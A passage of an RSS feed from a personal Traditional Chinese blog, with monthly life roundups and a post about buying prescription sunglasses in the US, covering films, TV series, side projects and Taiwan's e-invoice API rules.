<li><a href="https://endler.dev/2025/best-programmers/" target="_blank" rel="noreferrer">The Best Programmers I Know<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：一些有趣的觀察，值得細細品味深思</li>
<li><a href="https://news.ycombinator.com/item?id=44522772" target="_blank" rel="noreferrer">Measuring the impact of AI on experienced open-source developer productivity<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>: 在 Hacker News 上的一篇熱門轉貼，主張 AI 反而降低了開發效率，提供了一些主流想法中少見的觀點，挺有意思</li>
<li>金正恩小時候去迪士尼玩的時候使用的<a href="https://www.reddit.com/r/PassportPorn/comments/1lr4hlw/kim_jongun_brazilian_passport_used_to_go_to_disney/" target="_blank" rel="noreferrer">巴西假護照<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>？？？？？</li>
<li>《F1 電影》：據說是蘋果在電影圈的豪賭。可惜我在這之前沒什麼看 F1，自然沒共鳴，但 Threads 上的評價好像還行 (?)</li>
<li><a href="https://www.youtube.com/watch?v=yi9xG76nbUo" target="_blank" rel="noreferrer">David Guetta Answers DJ Questions<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：DJ 入門課，毫不保留。他的法式英文口音讓我想起我在法國交換時的同學們哈哈哈哈</li>
</ul>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-july-dump/dodgers-win-giants.jpg"
      class="mx-auto my-0 rounded-md"
      alt="在棒球場內，球迷們高舉雙手慶祝道奇隊的勝利"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">去舊金山巨人隊主場看棒球，道奇隊在延長賽轟了一支大的守住這場，前面球迷興奮到跳起來<br/>然後我看到曬傷 🥵 ← 沒有什麼特別的意思：）</figcaption>
</figure>
</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-重新把部落格的電子報訂閱表單做起來" class="relative group">🟡 重新把部落格的電子報訂閱表單做起來 </h3><p>做了一半，然後去修東西了</p>
<h3 id="-好久沒下廚了來學煮一道新的菜色" class="relative group">❌ 好久沒下廚了，來學煮一道新的菜色 </h3><p>沒車子買菜太麻煩了 (挖鼻孔 (欸不是也只有後半個月沒車而已吧</p>
<h3 id="-重新養成每天睡前看書的習慣" class="relative group">🟡 重新養成每天睡前看書的習慣 </h3><p>看了一點，雖然不是在睡前看的 (X)</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>把報報切小一點，寫完才發現這篇居然快 3000 字</li>
<li>跟台灣的朋朋多約一點線上聊天：回來美國工作之後就很少跟台灣的朋友們聯繫ㄌ，忙是一部分，時差也是一部分，但確實關係的維繫是要還是自己主動的，有看到這段的也歡迎主動來找我哈哈哈哈哈</li>
<li>假日最晚 10 點起床：最近好像有點睡太多了</li>
</ol>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2025-july-dump/kuai-kuai.webp"
      class="rounded-md max-h-96 mx-auto"
      alt="一包乖乖奶油椰子口味的零食，包裝上印有綠色乖乖人偶和交通號誌"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>


<p>放一包乖乖在這裡，希望下個月萬事平安！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-july-dump</guid><pubDate>Thu, 14 Aug 2025 22:13:41 -0700</pubDate></item><item><title>在美國配有度數的太陽眼鏡</title><link>https://blog.tomy.me/zh-tw/posts/prescription-sunglasses-in-the-us/</link><description>毛病...有點多 🙂‍↔️</description><content:encoded><![CDATA[<p>我第一次感受到太陽眼鏡的魔力，是來自魔幻力量的主唱——廷廷<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>。在樂團剛開始活動的很長一段時間，主唱自然就是整個樂團的帥氣擔當，所以只要是出現在鏡頭前，一定會戴著一副太陽眼鏡，是到後來他本人的心理健康比較穩定之後，才開始偶爾會在舞臺上以摘下太陽眼鏡的姿態表演。於是我才發現，這個帥氣擔當的角色其實很大一部分，是靠著太陽眼鏡建構起來的，這是一個裝逼性價比極高的時尚單品。</p>
<p>在幾年前準備要去歐洲交換的時候，就有興起了想買一副稍微好一點、有度數的太陽眼鏡的念頭。畢竟誰不想戴著一副帥氣的太陽眼鏡去歐洲流浪，拍一些好看的照片回來炫耀一輩子呢。但理想總是美好的，後來因為近視度數太深、價格太高、時間太趕種種因素就作罷了。</p>
<p>一直到最近夏天到了，灣區的陽光雖然不炙熱，但也開始有些刺眼，在沒有戴太陽眼鏡的狀態下開車實在是太危險，沒辦法，這逼不得不裝。</p>
<h2 id="前期研究" class="relative group">前期研究 </h2><p>在美國，眼科是有獨立保險的，只需要支付基本的掛號費，大概 $10 美元就可以驗光，另外也會給付鏡框、鏡片的部分費用，一年一次。</p>
<p>如果是在保險公司配合的網站上配眼鏡，就是所謂的 in network，可以直接折抵。但我看了看我家保險的網站，這上面的價格擺明了就是想再收一次智商稅，就算折抵的金額比較高，還是不划算。於是最後還是決定在其他地方配，走事後報銷的流程。</p>
<h2 id="warby-parker" class="relative group">Warby Parker </h2><p>一開始的想法很簡單，找一個類似於 Ownday 或是 JINS 這種比較平價、快速的美國品牌，配一副簡單的就好了。於是找了一個平日的下班時間去門市，想說讓店員處理所有的問題，當場只花差不多一個小時就訂好了。總體而言購物環境和數位體驗 (網站、App) 應該算得上是美國目前最頂尖的了，產品也具有一定的獨特性，我覺得是挺不錯的。</p>
<p>可惜的是在門市配完之後，還是等了 10 天才收到，而且後續問題還不少&hellip;&hellip;</p>
<ul>
<li>鏡框太窄了，甚至會壓到太陽穴，戴不到 10 分鐘就開始頭暈</li>
<li>就算已經做了薄片鏡片，還是超厚</li>
<li>做完功課發現，算一算好像沒有真的比較便宜</li>
</ul>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/prescription-sunglasses-in-the-us/warby-parker-raider.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Warby Parker Raider 墨鏡與藍色包裝盒及產品說明書擺放在桌上"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">嗯對寄來的時候鏡片甚至是掉下來的：）</figcaption>
</figure>
</p>
<p>鏡框的問題應該是單純配錯了，換大一點的能解決，但鏡片跟價格還是一個硬傷，但反正收到 30 天內可以無條件退貨，想了想最後還是退了。<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h2 id="trial-2" class="relative group">Trial #2 </h2><p>後來週末無聊跟 ChatGPT 聊一聊，花了點時間做了點研究搞清楚配眼鏡的各種眉眉角角跟參數。最大的發現是，如果把所有的參數都搞熟了，其實完全可以在網路上買，甚至名牌的框還不見得比較貴：）</p>
<p>於是又等了快兩個禮拜，才終於收到現在這副 Ray-Ban 的太陽眼鏡。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  
    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/prescription-sunglasses-in-the-us/ray-ban-rb3025-front.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="Ray-Ban 墨鏡放在棕色皮革眼鏡盒上"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    

    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="mx-auto my-0 rounded-md mx-1" >
        <img
          src="https://img.tomy.me/blog/prescription-sunglasses-in-the-us/ray-ban-lens-thinkness.jpg"
          class="mx-auto my-0 rounded-md mx-1"
          alt="手持 Ray-Ban 墨鏡並展示鏡片厚度，背景有棕色皮革眼鏡盒"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    


</div>
<figcaption class="text-center">結論是鏡片還是厚到不行</figcaption>

<p>但至少戴起來不至於到不舒服，正面看其實也不是那麼明顯，我實在是也不想在繼續折騰了：）</p>
<h2 id="報銷" class="relative group">報銷 </h2><p>前面說到如果不是在保險公司配合的網站下單，事後還要自己去申請報銷。目前的進展是保險公司寄了支票來，但上面的金額跟保險合約上的數字對不太起來，還要等案件重新審核。</p>
<p>從第一天下單，到現在寫這篇文已經過了 40 幾天，我只想說：美利堅的效率真的是不敢恭維。</p>
<h2 id="結論" class="relative group">結論 </h2><p>給任何在讀這篇文章的人 (也包括未來的自己) 一些這次留下來的<a href="https://docs.tomy.me/glasses" target="_blank" rel="noreferrer">筆記<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>和小技巧：</p>
<ul>
<li>量度數的時候記得所有該有的數字不要有缺漏，詳見筆記最上面的表格</li>
<li>鏡框的參數，第一次買去門市給店員幫你喬，如果不是第一次的話，照抄前一副眼鏡的通常挺準的</li>
<li>通常鏡框會有適合度數的上限，但同一副框，不同店家可能會不一樣，喜歡的款式如果沒辦法做，可以型號抄下來換一家試試 (當然要有心理準備可能會很厚就是了)</li>
<li>美國鏡框便宜，鏡片貴。如果要在不用通路比價，優先找鏡片便宜的通常沒錯</li>
<li>亞洲國家則是品牌鏡框貴，但鏡片技術更先進、價格便宜、品質更好。</li>
<li>如果不嫌麻煩，在美國特價的時候買好鏡框，帶回亞洲國家做鏡片，應該是最便宜，成品最好的方案。</li>
</ul>
<p>這一整副配下來，最大的心得是：通常一個成熟穩定的產品市場，價格理論上會相對透明，但看了看台灣再看了看美國，不分地區，眼鏡產業就是抓準了這個不可或缺的剛需，美國雪上加霜的是又有保險公司進來攪和抽成，不可避免的導致了眼鏡這個產品最終的價格、消費體驗都還有很大的進步空間，甚至說亟須一個市場破壞者也不為過。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>雖然他早就已經單飛改用本名蕭秉治在活動了，但既然故事是他在 MP 的期間，就允許我拿舊藝名出來懷舊一下吧&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>對，這種高度客製化的東西可以退貨，難怪單價這麼高，真的是偉哉資本主義。&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">prescription-sunglasses-in-the-us</guid><pubDate>Tue, 12 Aug 2025 03:50:15 -0700</pubDate></item><item><title>2025 年 6 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-june-dump/</link><description>只想安靜的一個人過</description><content:encoded><![CDATA[<p>這個月好像幾乎沒出什麼門，都宅在家，搞得我光找照片就找了好久&hellip;但在家追了很多劇反而意外的覺得吸收了不少藝文養分 (?)</p>
<h2 id="-影視" class="relative group">🍿 影視 </h2><p>上班久了就發現，下班之後通常很難再有動力去做其他需要動腦的事 (不然就是上班要稍微忙裡偷閒;-))。於是就發現這樣的時間最適合拿來看電影或追劇。於是這個月不知不覺就看了好多影視作品。</p>
<h3 id="不可能的任務最終清算-mission-impossible--the-final-reckoning" class="relative group">不可能的任務：最終清算 (Mission: Impossible – The Final Reckoning) </h3><p>(有可能是) 阿湯哥的最後一部作品。動作片看起來當然是無可厚非的爽，特別是 IMAX 劇院在看水下的場景的那一段，跟之前看 Rogue Nation 一樣，帶入感非常強，身體也會不由自主的跟著短暫閉氣 (?)。但也許是身為工程師的職業病，AI 統治全世界的核彈這種劇情，真的很像小學生寫出來的，再加上爬小飛機那段又有點硬要&hellip;</p>
<p>只能說對不起我認真了 🙂‍↔️</p>
<h3 id="借物少女艾莉緹" class="relative group">借物少女艾莉緹 </h3><p>去年<a href="/zh-tw/posts/2024-january-dump/#-吉卜力馬拉松">吉卜力馬拉松</a>完之後，就沒有再繼續把剩下的看完了。《借物少女艾莉緹》雖然不在當時列的清單上，但是剛好最近 15 週年，電影院重映就順便去看了。算是奇幻但又帶有一點樸實的感覺，結尾收在一個我沒料想到的地方，但想了想又覺得，嗯好吧這蠻吉卜力的。</p>
<h3 id="哈桑明哈吉從頭來過-hasan-minhaj-off-with-his-head" class="relative group">哈桑明哈吉：從頭來過 (Hasan Minhaj: Off With His Head) </h3><p>印度裔美國第二代移民單口喜劇演員 Hasan Minhaj 最新的單口喜劇特輯，是去年 <date>2024/7/13</date> 的時候在 San Jose 錄製的，但去年沒有特別關注到，不然那時候我剛好就在 San Jose 實習，而且錄影的場館甚至就在我現在住的公寓的兩條街外。</p>
<p>這一場的段子包含非常多的矽谷、科技業、移民、政治的內梗，所以選在 San Jose 這場錄影，我想也是當之無愧，身為灣區底層難民，看了真是臨表涕泣，不知所云。</p>
<p>這個喜劇特輯可以在 <a href="https://www.netflix.com/title/81776083" target="_blank" rel="noreferrer">Netflix<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 上收看，但如果你沒有看過他的喜劇特輯，我會推薦先看看他的出道作：<a href="https://www.netflix.com/title/80134781" target="_blank" rel="noreferrer">《衣錦還鄉》<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<h3 id="夢境製片廠-dream-productions" class="relative group">夢境製片廠 (Dream Productions) </h3><p>上個月為了在去電影院看真人版《星際寶貝》再看一次動畫版訂了一個月的 Disney+，於是就想說應該趁這個機會看一個短的影集，於是就找上了這部《腦筋急轉彎》的外傳：《夢境製片廠》。算是一個溫馨的小短劇，有配得上原作的水準，比較可惜的是只有 4 集，所以就算我沒有一口氣看還是不到一個禮拜就看完了。</p>
<h3 id="臥底老紳士-a-man-on-the-inside" class="relative group">臥底老紳士 (A Man On the Inside) </h3><p>是《良善之地》裡的 Michael 的另一部作品！作為一個退休的老人，為了尋找樂子因此去當私人偵探事務所的線人，隱身在養老院中，是個有點好笑但又討喜的作品，有點像《高年級實習生》的電視劇版，但我更喜歡 Ted Danson 的角色塑造。據說下一季快要出了，挺期待的！</p>
<h3 id="魷魚遊戲第-3-季" class="relative group">魷魚遊戲：第 3 季 </h3><p>很期待，但看完又有點失望。我感覺這種反烏托邦的影視作品最終似乎都難逃爛尾的結局，雖然傳統電視劇也會因為在拍攝後期才決定是否能續拍下一季而結局處理不好，但我感覺這個問題在 Netflix 似乎又更嚴重了一些些。</p>
<details>
  <summary>‼ 以下有雷 ⚡️</summary>
  首先是看到小孩一生出來，就大概可以猜完後面 7 8 成的劇情走向了，反正小孩一定死不了，那問題就是要死多少人的差別，但全部死光這個結局，我也是天殺的沒想到。
<p>333 的角色設定一直在黑白兩道之間跳來跳去，一下殺紅眼，一下又對 222 伸出援手，在最後一關第一座島還在保小孩，過了兩座橋就決定要把小孩丟下去？？？？？？然後 456 的設定也是有類似的問題，前兩季好不容易把他的道德操守拉這麼高，我就想在第三季看你跟遊戲負責人拼個你死我活，而且容我提醒大哥你，當初進來是為拯救參賽者，救一個是一個，然後遊戲結束，所有人都死光了，連你自己也歸西了？？？？？？？</p>
<p>總歸就是，編劇靠著搞一個小孩出來賦予 456 繼續存在的意義，又拿 333 當最後一關的髒手套來負責送便當給其他角色，只為了讓 456 可以在最後選擇跳下去來完成他犧牲小我的高尚人格。</p>
<p>那個只會喊哥的廢物警察我就不說了。</p>
</details>
<p>在此大膽預測：美國版魷魚遊戲會跟真人版一樣爛掉。</p>
<h2 id="-跟舊-project-說再見" class="relative group">👋🏻 跟舊 Project 說再見 </h2><p>花了點時間整理了一下很久沒動過的 Project，然後決定把兩個 Projects 典藏起來，停止更新。</p>
<p>一個是 <a href="https://github.com/tomy0000000/tubee" target="_blank" rel="noreferrer">tubee<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，這個 Project 值得寫篇文，下個月再寫。</p>
<p>另一個是 <a href="https://github.com/tomy0000000/tw-invoice" target="_blank" rel="noreferrer">tw-invoice<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，是一個 Python 的套件，可以用來向財政部電子發票平台查詢發票、載具相關的資料。我在應該是大二還是大三的時候，就向財政部申請了 API 的金鑰來定期下載我們全家的電子發票資料，一半是記帳，另一半是單純好玩。可惜去年<a href="https://law-out.mof.gov.tw/LawContent.aspx?id=GL010122#:~:text=%E5%85%AD%E3%80%81%E9%96%8B%E7%99%BC%E8%80%85%E4%B9%8B%E8%B3%87%E8%A8%8A%E5%AE%89%E5%85%A8%E5%88%B6%E5%BA%A6%E6%87%89%E7%AC%A6%E5%90%88CNS27001%E5%9C%8B%E5%AE%B6%E6%A8%99%E6%BA%96%E6%88%96ISO27001%E5%9C%8B%E9%9A%9B%E6%A8%99%E6%BA%96%EF%BC%8C%E5%85%B6%E7%AF%84%E5%9C%8D%E9%A0%88%E5%8C%85%E5%90%AB%E4%BD%BF%E7%94%A8API%E4%B9%8B%E8%BB%9F%E9%AB%94%E7%94%A2%E5%93%81%E5%8F%8A%E5%8A%A0%E5%80%BC%E8%A1%8D%E7%94%9F%E8%91%97%E4%BD%9C%E6%89%80%E6%9C%89%E8%B3%87%E8%A8%8A%E6%A5%AD%E5%8B%99%E6%B4%BB%E5%8B%95%EF%BC%8C%E4%B8%94%E9%A0%88%E5%B0%87%E6%9C%AC%E8%A6%8F%E7%AF%84%E3%80%81%E7%A8%85%E6%8D%90%E7%A8%BD%E5%BE%B5%E6%B3%95%E7%AC%AC%E4%B8%89%E5%8D%81%E4%B8%89%E6%A2%9D%E3%80%81%E5%80%8B%E4%BA%BA%E8%B3%87%E6%96%99%E4%BF%9D%E8%AD%B7%E6%B3%95%E5%8F%8A%E7%87%9F%E6%A5%AD%E7%A7%98%E5%AF%86%E6%B3%95%E7%B4%8D%E5%85%A5%E6%B3%95%E5%BE%8B%E9%81%B5%E5%BE%AA%E6%B8%85%E5%96%AE%EF%BC%8C%E5%85%B6%E7%9B%B8%E9%97%9C%E4%BD%9C%E6%A5%AD%E6%B5%81%E7%A8%8B%E6%87%89%E5%8C%85%E5%90%AB%E4%BB" target="_blank" rel="noreferrer">財政部修法<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，規定之後必須要獲得 CNS27001 或 ISO27001 的資安認證才可以繼續使用這個 API，我查了一下這個認證的資格是組織或法人，換句話說就是，以後個人開發者都不能用了。</p>
<p>我可以理解政府做事的邏輯本來就是於法有據，如果一個系統不安全，就靠安全認證來把風險外部化，出事的時候還可以推託單位已經有經過認證，還是出事那也是沒辦法，但這就不是解決問題的根本之道。首先：如果一個系統的安全性經不起外部的考驗和期待，那或許它打從一開始的設計本來就有結構上的問題，這種情況根本不應該存在，更好的做法應該是在系統上加上後台紀錄，審計資料來事後回顧哪裡有問題，如何改進。</p>
<p>而且更何況，當時設計這個平台能夠跟外部串接，本來就是為了孵化更多不一樣的使用場景，現在市面上百花齊放的各種結合雲端發票的應用，很多一開始都是始於某個工程師在一個無聊的週末隨手做出來的小玩具，然後再逐漸打磨成一個成熟的產品。現在這個枷鎖套回去，豈不是一夜回到解放前？</p>
<p>台灣是全世界少數有做到全國統一開立電子發票，並且有一套完整制度、系統可以存取全國消費資料的國家，如果沒有好好把握這個優勢，那就太可惜了。</p>
<h2 id="-年中隨筆" class="relative group">✍🏻 年中隨筆 </h2><p>最近關於生活、工作的一些想法，寫在<a href="/zh-tw/posts/2025-midterm-reflection/">另外一篇文</a></p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-blog-更新" class="relative group">✅ Blog 更新 </h3><p>打磨了很多小細節，網站上的 UI 應該有比之前更整齊一點 (?) 然後有訂閱電子報的人應該會在這一期收到全新的電子報介面。是使用 <a href="https://new.email/" target="_blank" rel="noreferrer">new.email<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> + <a href="https://react.email/" target="_blank" rel="noreferrer">react email<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> + <a href="https://resend.com/" target="_blank" rel="noreferrer">Resend<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 打造的。</p>
<p>現在暫時沒有新的訂閱表單，但應該近期會盡快做一個新的，想訂閱電子報的人歡迎無聊回來看看 (?)</p>
<h3 id="-把記帳系統的第一版介面完成" class="relative group">✅ 把記帳系統的第一版介面完成 </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-june-dump/kayman-v1-screenshot.png"
      class="mx-auto my-0 rounded-md"
      alt="具有日曆和付款資訊的網頁介面截圖"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">勉強先刻了一個輪廓，後端只接了一半 XDDDDD</figcaption>
</figure>
</p>
<h3 id="-開始追一部劇" class="relative group">✅ 開始追一部劇 </h3><p>原本只是想重啟，結果意外的追了不只一部哈哈哈哈</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>重新把部落格的電子報訂閱表單做起來</li>
<li>好久沒下廚了，來學煮一道新的菜色</li>
<li>重新養成每天睡前看書的習慣</li>
</ol>
